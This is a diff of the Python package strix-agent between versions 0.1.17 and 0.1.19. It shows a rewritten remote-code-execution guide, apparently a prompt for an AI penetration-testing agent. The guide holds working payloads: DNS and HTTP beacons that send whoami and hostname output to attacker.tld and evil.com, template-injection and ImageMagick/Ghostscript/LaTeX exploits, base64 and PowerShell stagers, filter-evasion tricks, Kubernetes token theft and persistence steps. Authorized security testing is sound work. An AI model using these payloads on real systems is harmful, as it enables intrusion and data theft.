strix-agent 0.1.17__py3-none-any.whl → 0.1.19__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of strix-agent might be problematic. Click here for more details.
- strix/agents/StrixAgent/strix_agent.py +2 -1
- strix/agents/StrixAgent/system_prompt.jinja +8 -10
- strix/agents/base_agent.py +20 -0
- strix/agents/state.py +18 -1
- strix/cli/app.py +92 -15
- strix/cli/main.py +81 -24
- strix/cli/tool_components/base_renderer.py +2 -2
- strix/cli/tool_components/reporting_renderer.py +2 -1
- strix/llm/llm.py +9 -0
- strix/prompts/README.md +64 -0
- strix/prompts/__init__.py +1 -1
- strix/prompts/cloud/.gitkeep +0 -0
- strix/prompts/custom/.gitkeep +0 -0
- strix/prompts/frameworks/fastapi.jinja +142 -0
- strix/prompts/frameworks/nextjs.jinja +126 -0
- strix/prompts/protocols/graphql.jinja +215 -0
- strix/prompts/reconnaissance/.gitkeep +0 -0
- strix/prompts/technologies/firebase_firestore.jinja +177 -0
- strix/prompts/technologies/supabase.jinja +189 -0
- strix/prompts/vulnerabilities/authentication_jwt.jinja +133 -115
- strix/prompts/vulnerabilities/broken_function_level_authorization.jinja +146 -0
- strix/prompts/vulnerabilities/business_logic.jinja +146 -118
- strix/prompts/vulnerabilities/csrf.jinja +137 -131
- strix/prompts/vulnerabilities/idor.jinja +149 -118
- strix/prompts/vulnerabilities/insecure_file_uploads.jinja +188 -0
- strix/prompts/vulnerabilities/mass_assignment.jinja +141 -0
- strix/prompts/vulnerabilities/path_traversal_lfi_rfi.jinja +142 -0
- strix/prompts/vulnerabilities/race_conditions.jinja +135 -165
- strix/prompts/vulnerabilities/rce.jinja +128 -180
- strix/prompts/vulnerabilities/sql_injection.jinja +128 -192
- strix/prompts/vulnerabilities/ssrf.jinja +118 -151
- strix/prompts/vulnerabilities/xss.jinja +144 -196
- strix/prompts/vulnerabilities/xxe.jinja +151 -243
- strix/tools/agents_graph/agents_graph_actions.py +4 -3
- strix/tools/agents_graph/agents_graph_actions_schema.xml +10 -14
- strix/tools/registry.py +1 -1
- {strix_agent-0.1.17.dist-info → strix_agent-0.1.19.dist-info}/METADATA +55 -16
- {strix_agent-0.1.17.dist-info → strix_agent-0.1.19.dist-info}/RECORD +41 -28
- {strix_agent-0.1.17.dist-info → strix_agent-0.1.19.dist-info}/LICENSE +0 -0
- {strix_agent-0.1.17.dist-info → strix_agent-0.1.19.dist-info}/WHEEL +0 -0
- {strix_agent-0.1.17.dist-info → strix_agent-0.1.19.dist-info}/entry_points.txt +0 -0
|
@@ -1,206 +1,154 @@
|
|
|
1
1
|
<rce_vulnerability_guide>
|
|
2
|
-
<title>REMOTE CODE EXECUTION (RCE)
|
|
3
|
-
|
|
4
|
-
<critical>RCE
|
|
5
|
-
|
|
6
|
-
<
|
|
7
|
-
-
|
|
8
|
-
-
|
|
9
|
-
-
|
|
10
|
-
-
|
|
11
|
-
-
|
|
12
|
-
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
|
|
2
|
+
<title>REMOTE CODE EXECUTION (RCE)</title>
|
|
3
|
+
|
|
4
|
+
<critical>RCE leads to full server control when input reaches code execution primitives: OS command wrappers, dynamic evaluators, template engines, deserializers, media pipelines, and build/runtime tooling. Focus on quiet, portable oracles and chain to stable shells only when needed.</critical>
|
|
5
|
+
|
|
6
|
+
<scope>
|
|
7
|
+
- OS command execution via wrappers (shells, system utilities, CLIs)
|
|
8
|
+
- Dynamic evaluation: template engines, expression languages, eval/vm
|
|
9
|
+
- Insecure deserialization and gadget chains across languages
|
|
10
|
+
- Media/document toolchains (ImageMagick, Ghostscript, ExifTool, LaTeX, ffmpeg)
|
|
11
|
+
- SSRF→internal services that expose execution primitives (FastCGI, Redis)
|
|
12
|
+
- Container/Kubernetes escalation from app RCE to node/cluster compromise
|
|
13
|
+
</scope>
|
|
14
|
+
|
|
15
|
+
<methodology>
|
|
16
|
+
1. Identify sinks: search for command wrappers, template rendering, deserialization, file converters, report generators, and plugin hooks.
|
|
17
|
+
2. Establish a minimal oracle: timing, DNS/HTTP callbacks, or deterministic output diffs (length/ETag). Prefer OAST over noisy time sleeps.
|
|
18
|
+
3. Confirm context: which user, working directory, PATH, shell, SELinux/AppArmor, containerization, read/write locations, outbound egress.
|
|
19
|
+
4. Progress to durable control: file write, scheduled execution, service restart hooks; avoid loud reverse shells unless necessary.
|
|
20
|
+
</methodology>
|
|
21
|
+
|
|
22
|
+
<detection_channels>
|
|
20
23
|
<time_based>
|
|
21
|
-
-
|
|
22
|
-
- Windows: &
|
|
23
|
-
- PowerShell: ;Start-Sleep -s 10 #
|
|
24
|
+
- Unix: ;sleep 1 | `sleep 1` || sleep 1; gate delays with short subcommands to reduce noise
|
|
25
|
+
- Windows CMD/PowerShell: & timeout /t 2 & | Start-Sleep -s 2 | ping -n 2 127.0.0.1
|
|
24
26
|
</time_based>
|
|
25
27
|
|
|
26
|
-
<
|
|
27
|
-
- nslookup $(whoami).attacker.
|
|
28
|
-
-
|
|
29
|
-
|
|
30
|
-
</dns_oob>
|
|
28
|
+
<oast>
|
|
29
|
+
- DNS: {% raw %}nslookup $(whoami).x.attacker.tld{% endraw %} or {% raw %}curl http://$(id -u).x.attacker.tld{% endraw %}
|
|
30
|
+
- HTTP beacon: {% raw %}curl https://attacker.tld/$(hostname){% endraw %} (or fetch to pre-signed URL)
|
|
31
|
+
</oast>
|
|
31
32
|
|
|
32
33
|
<output_based>
|
|
33
|
-
- Direct: ;
|
|
34
|
-
- Encoded: ;
|
|
35
|
-
- Hex: ;xxd -p /etc/passwd
|
|
34
|
+
- Direct: ;id;uname -a;whoami
|
|
35
|
+
- Encoded: ;(id;hostname)|base64; hex via xxd -p
|
|
36
36
|
</output_based>
|
|
37
|
-
</
|
|
38
|
-
|
|
39
|
-
<
|
|
40
|
-
<
|
|
41
|
-
;
|
|
42
|
-
|
|
43
|
-
|
|
44
|
-
|
|
45
|
-
|
|
46
|
-
|
|
47
|
-
|
|
48
|
-
|
|
49
|
-
|
|
50
|
-
|
|
51
|
-
|
|
52
|
-
|
|
53
|
-
|
|
54
|
-
|
|
55
|
-
-
|
|
56
|
-
-
|
|
57
|
-
|
|
58
|
-
</
|
|
59
|
-
|
|
60
|
-
|
|
61
|
-
<
|
|
62
|
-
-
|
|
63
|
-
-
|
|
64
|
-
-
|
|
65
|
-
|
|
66
|
-
|
|
67
|
-
|
|
68
|
-
|
|
69
|
-
|
|
70
|
-
|
|
71
|
-
|
|
72
|
-
|
|
73
|
-
|
|
74
|
-
-
|
|
75
|
-
|
|
76
|
-
|
|
77
|
-
|
|
78
|
-
- Runtime
|
|
79
|
-
|
|
80
|
-
|
|
81
|
-
|
|
82
|
-
-
|
|
83
|
-
|
|
84
|
-
|
|
85
|
-
|
|
86
|
-
-
|
|
87
|
-
-
|
|
88
|
-
-
|
|
89
|
-
-
|
|
90
|
-
</
|
|
91
|
-
|
|
92
|
-
|
|
93
|
-
|
|
94
|
-
|
|
95
|
-
|
|
96
|
-
|
|
97
|
-
|
|
98
|
-
|
|
99
|
-
|
|
100
|
-
<blind_rce>
|
|
101
|
-
- DNS exfiltration: $(whoami).evil.com
|
|
102
|
-
- HTTP callbacks: curl evil.com/$(id)
|
|
103
|
-
- Time delays for boolean extraction
|
|
104
|
-
- Write to web root
|
|
105
|
-
</blind_rce>
|
|
106
|
-
|
|
107
|
-
<chained_exploitation>
|
|
108
|
-
1. Command injection → Write webshell
|
|
109
|
-
2. File upload → LFI → RCE
|
|
110
|
-
3. XXE → SSRF → internal RCE
|
|
111
|
-
4. SQLi → INTO OUTFILE → RCE
|
|
112
|
-
</chained_exploitation>
|
|
113
|
-
</advanced_exploitation>
|
|
114
|
-
|
|
115
|
-
<specific_contexts>
|
|
116
|
-
<imagemagick>
|
|
117
|
-
push graphic-context
|
|
118
|
-
viewbox 0 0 640 480
|
|
119
|
-
fill 'url(https://evil.com/image.jpg"|id > /tmp/output")'
|
|
120
|
-
pop graphic-context
|
|
121
|
-
</imagemagick>
|
|
122
|
-
|
|
123
|
-
<ghostscript>
|
|
124
|
-
%!PS
|
|
125
|
-
/outfile (%pipe%id) (w) file def
|
|
126
|
-
</ghostscript>
|
|
127
|
-
|
|
128
|
-
<ffmpeg>
|
|
129
|
-
#EXTM3U
|
|
130
|
-
#EXT-X-TARGETDURATION:1
|
|
131
|
-
#EXTINF:1.0,
|
|
132
|
-
concat:|file:///etc/passwd
|
|
133
|
-
</ffmpeg>
|
|
134
|
-
|
|
135
|
-
<latex>
|
|
136
|
-
\immediate\write18{id > /tmp/pwn}
|
|
137
|
-
\input{|"cat /etc/passwd"}
|
|
138
|
-
</latex>
|
|
139
|
-
</specific_contexts>
|
|
140
|
-
|
|
141
|
-
<container_escapes>
|
|
37
|
+
</detection_channels>
|
|
38
|
+
|
|
39
|
+
<command_injection>
|
|
40
|
+
<delimiters_and_operators>
|
|
41
|
+
- ; | || & && `cmd` $(cmd) $() ${IFS} newline/tab; Windows: & | || ^
|
|
42
|
+
</delimiters_and_operators>
|
|
43
|
+
|
|
44
|
+
<argument_injection>
|
|
45
|
+
- Inject flags/filenames into CLI arguments (e.g., --output=/tmp/x; --config=); break out of quoted segments by alternating quotes and escapes
|
|
46
|
+
- Environment expansion: $PATH, ${HOME}, command substitution; Windows %TEMP%, !VAR!, PowerShell $(...)
|
|
47
|
+
</argument_injection>
|
|
48
|
+
|
|
49
|
+
<path_and_builtin_confusion>
|
|
50
|
+
- Force absolute paths (/usr/bin/id) vs relying on PATH; prefer builtins or alternative tools (printf, getent) when id is filtered
|
|
51
|
+
- Use sh -c or cmd /c wrappers to reach the shell even if binaries are filtered
|
|
52
|
+
</path_and_builtin_confusion>
|
|
53
|
+
|
|
54
|
+
<evasion>
|
|
55
|
+
- Whitespace/IFS: ${IFS}, $'\t', <; case/Unicode variations; mixed encodings; backslash line continuations
|
|
56
|
+
- Token splitting: w'h'o'a'm'i, w"h"o"a"m"i; build via variables: a=i;b=d; $a$b
|
|
57
|
+
- Base64/hex stagers: echo payload | base64 -d | sh; PowerShell: IEX([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String(...)))
|
|
58
|
+
</evasion>
|
|
59
|
+
</command_injection>
|
|
60
|
+
|
|
61
|
+
<template_injection>
|
|
62
|
+
- Identify server-side template engines: Jinja2/Twig/Blade/Freemarker/Velocity/Thymeleaf/EJS/Handlebars/Pug
|
|
63
|
+
- Move from expression to code execution primitives (read file, run command)
|
|
64
|
+
- Minimal probes:
|
|
65
|
+
{% raw %}
|
|
66
|
+
Jinja2: {{7*7}} → {{cycler.__init__.__globals__['os'].popen('id').read()}}
|
|
67
|
+
Twig: {{7*7}} → {{_self.env.registerUndefinedFilterCallback('system')}}{{_self.env.getFilter('id')}}
|
|
68
|
+
Freemarker: ${7*7} → <#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }
|
|
69
|
+
EJS: <%= global.process.mainModule.require('child_process').execSync('id') %>
|
|
70
|
+
{% endraw %}
|
|
71
|
+
</template_injection>
|
|
72
|
+
|
|
73
|
+
<deserialization_and_el>
|
|
74
|
+
- Java: gadget chains via CommonsCollections/BeanUtils/Spring; tools: ysoserial; JNDI/LDAP chains (Log4Shell-style) when lookups are reachable
|
|
75
|
+
- .NET: BinaryFormatter/DataContractSerializer/APIs that accept untrusted ViewState without MAC
|
|
76
|
+
- PHP: unserialize() and PHAR metadata; autoloaded gadget chains in frameworks and plugins
|
|
77
|
+
- Python/Ruby: pickle, yaml.load/unsafe_load, Marshal; seek auto-deserialization in message queues/caches
|
|
78
|
+
- Expression languages: OGNL/SpEL/MVEL/EL; reach Runtime/ProcessBuilder/exec
|
|
79
|
+
</deserialization_and_el>
|
|
80
|
+
|
|
81
|
+
<media_and_document_pipelines>
|
|
82
|
+
- ImageMagick/GraphicsMagick: policy.xml may limit delegates; still test legacy vectors and complex file formats
|
|
83
|
+
{% raw %}
|
|
84
|
+
Example: push graphic-context\nfill 'url(https://x.tld/a"|id>/tmp/o")'\npop graphic-context
|
|
85
|
+
{% endraw %}
|
|
86
|
+
- Ghostscript: PostScript in PDFs/PS; {% raw %}%pipe%id{% endraw %} file operators
|
|
87
|
+
- ExifTool: crafted metadata invoking external tools or library bugs (historical CVEs)
|
|
88
|
+
- LaTeX: \write18/--shell-escape, \input piping; pandoc filters
|
|
89
|
+
- ffmpeg: concat/protocol tricks mediated by compile-time flags
|
|
90
|
+
</media_and_document_pipelines>
|
|
91
|
+
|
|
92
|
+
<ssrf_to_rce>
|
|
93
|
+
- FastCGI: gopher:// to php-fpm (build FPM records to invoke system/exec via vulnerable scripts)
|
|
94
|
+
- Redis: gopher:// write cron/authorized_keys or webroot if filesystem exposed; or module load when allowed
|
|
95
|
+
- Admin interfaces: Jenkins script console, Spark UI, Jupyter kernels reachable internally
|
|
96
|
+
</ssrf_to_rce>
|
|
97
|
+
|
|
98
|
+
<container_and_kubernetes>
|
|
142
99
|
<docker>
|
|
143
|
-
-
|
|
144
|
-
-
|
|
145
|
-
- Kernel exploits
|
|
146
|
-
- /proc/self/exe overwrite
|
|
100
|
+
- From app RCE, inspect /.dockerenv, /proc/1/cgroup; enumerate mounts and capabilities (capsh --print)
|
|
101
|
+
- Abuses: mounted docker.sock, hostPath mounts, privileged containers; write to /proc/sys/kernel/core_pattern or mount host with --privileged
|
|
147
102
|
</docker>
|
|
148
103
|
|
|
149
104
|
<kubernetes>
|
|
150
|
-
-
|
|
151
|
-
-
|
|
152
|
-
-
|
|
105
|
+
- Steal service account token from /var/run/secrets/kubernetes.io/serviceaccount; query API for pods/secrets; enumerate RBAC
|
|
106
|
+
- Talk to kubelet on 10250/10255; exec into pods; list/attach if anonymous/weak auth
|
|
107
|
+
- Escalate via privileged pods, hostPath mounts, or daemonsets if permissions allow
|
|
153
108
|
</kubernetes>
|
|
154
|
-
</
|
|
155
|
-
|
|
156
|
-
<
|
|
157
|
-
-
|
|
158
|
-
-
|
|
159
|
-
-
|
|
160
|
-
|
|
161
|
-
|
|
162
|
-
|
|
163
|
-
-
|
|
164
|
-
|
|
109
|
+
</container_and_kubernetes>
|
|
110
|
+
|
|
111
|
+
<post_exploitation>
|
|
112
|
+
- Privilege escalation: sudo -l; SUID binaries; capabilities (getcap -r / 2>/dev/null)
|
|
113
|
+
- Persistence: cron/systemd/user services; web shell behind auth; plugin hooks; supply chain in CI/CD
|
|
114
|
+
- Lateral movement: pivot with SSH keys, cloud metadata credentials, internal service tokens
|
|
115
|
+
</post_exploitation>
|
|
116
|
+
|
|
117
|
+
<waf_and_filter_bypasses>
|
|
118
|
+
- Encoding differentials (URL, Unicode normalization), comment insertion, mixed case, request smuggling to reach alternate parsers
|
|
119
|
+
- Absolute paths and alternate binaries (busybox, sh, env); Windows variations (PowerShell vs CMD), constrained language bypasses
|
|
120
|
+
</waf_and_filter_bypasses>
|
|
165
121
|
|
|
166
122
|
<validation>
|
|
167
|
-
|
|
168
|
-
|
|
169
|
-
|
|
170
|
-
|
|
171
|
-
|
|
172
|
-
5. Prove consistent execution
|
|
123
|
+
1. Provide a minimal, reliable oracle (DNS/HTTP/timing) proving code execution.
|
|
124
|
+
2. Show command context (uid, gid, cwd, env) and controlled output.
|
|
125
|
+
3. Demonstrate persistence or file write under application constraints.
|
|
126
|
+
4. If containerized, prove boundary crossing attempts (host files, kube APIs) and whether they succeed.
|
|
127
|
+
5. Keep PoCs minimal and reproducible across runs and transports.
|
|
173
128
|
</validation>
|
|
174
129
|
|
|
175
130
|
<false_positives>
|
|
176
|
-
|
|
177
|
-
-
|
|
178
|
-
-
|
|
179
|
-
-
|
|
180
|
-
- No actual command execution
|
|
181
|
-
- Output not retrievable
|
|
131
|
+
- Only crashes or timeouts without controlled behavior
|
|
132
|
+
- Filtered execution of a limited command subset with no attacker-controlled args
|
|
133
|
+
- Sandboxed interpreters executing in a restricted VM with no IO or process spawn
|
|
134
|
+
- Simulated outputs not derived from executed commands
|
|
182
135
|
</false_positives>
|
|
183
136
|
|
|
184
137
|
<impact>
|
|
185
|
-
-
|
|
186
|
-
- Data
|
|
187
|
-
-
|
|
188
|
-
- Backdoor installation
|
|
189
|
-
- Service disruption
|
|
138
|
+
- Remote system control under application user; potential privilege escalation to root
|
|
139
|
+
- Data theft, encryption/signing key compromise, supply-chain insertion, lateral movement
|
|
140
|
+
- Cluster compromise when combined with container/Kubernetes misconfigurations
|
|
190
141
|
</impact>
|
|
191
142
|
|
|
192
143
|
<pro_tips>
|
|
193
|
-
1.
|
|
194
|
-
2.
|
|
195
|
-
3.
|
|
196
|
-
4.
|
|
197
|
-
5.
|
|
198
|
-
6.
|
|
199
|
-
7.
|
|
200
|
-
8. Monitor DNS for blind RCE
|
|
201
|
-
9. Try polyglot payloads first
|
|
202
|
-
10. Document full exploitation path
|
|
144
|
+
1. Prefer OAST oracles; avoid long sleeps—short gated delays reduce noise.
|
|
145
|
+
2. When command injection is weak, pivot to file write or deserialization/SSTI paths for stable control.
|
|
146
|
+
3. Treat converters/renderers as first-class sinks; many run out-of-process with powerful delegates.
|
|
147
|
+
4. For Java/.NET, enumerate classpaths/assemblies and known gadgets; verify with out-of-band payloads.
|
|
148
|
+
5. Confirm environment: PATH, shell, umask, SELinux/AppArmor, container caps; it informs payload choice.
|
|
149
|
+
6. Keep payloads portable (POSIX/BusyBox/PowerShell) and minimize dependencies.
|
|
150
|
+
7. Document the smallest exploit chain that proves durable impact; avoid unnecessary shell drops.
|
|
203
151
|
</pro_tips>
|
|
204
152
|
|
|
205
|
-
<remember>
|
|
153
|
+
<remember>RCE is a property of the execution boundary. Find the sink, establish a quiet oracle, and escalate to durable control only as far as necessary. Validate across transports and environments; defenses often differ per code path.</remember>
|
|
206
154
|
</rce_vulnerability_guide>
|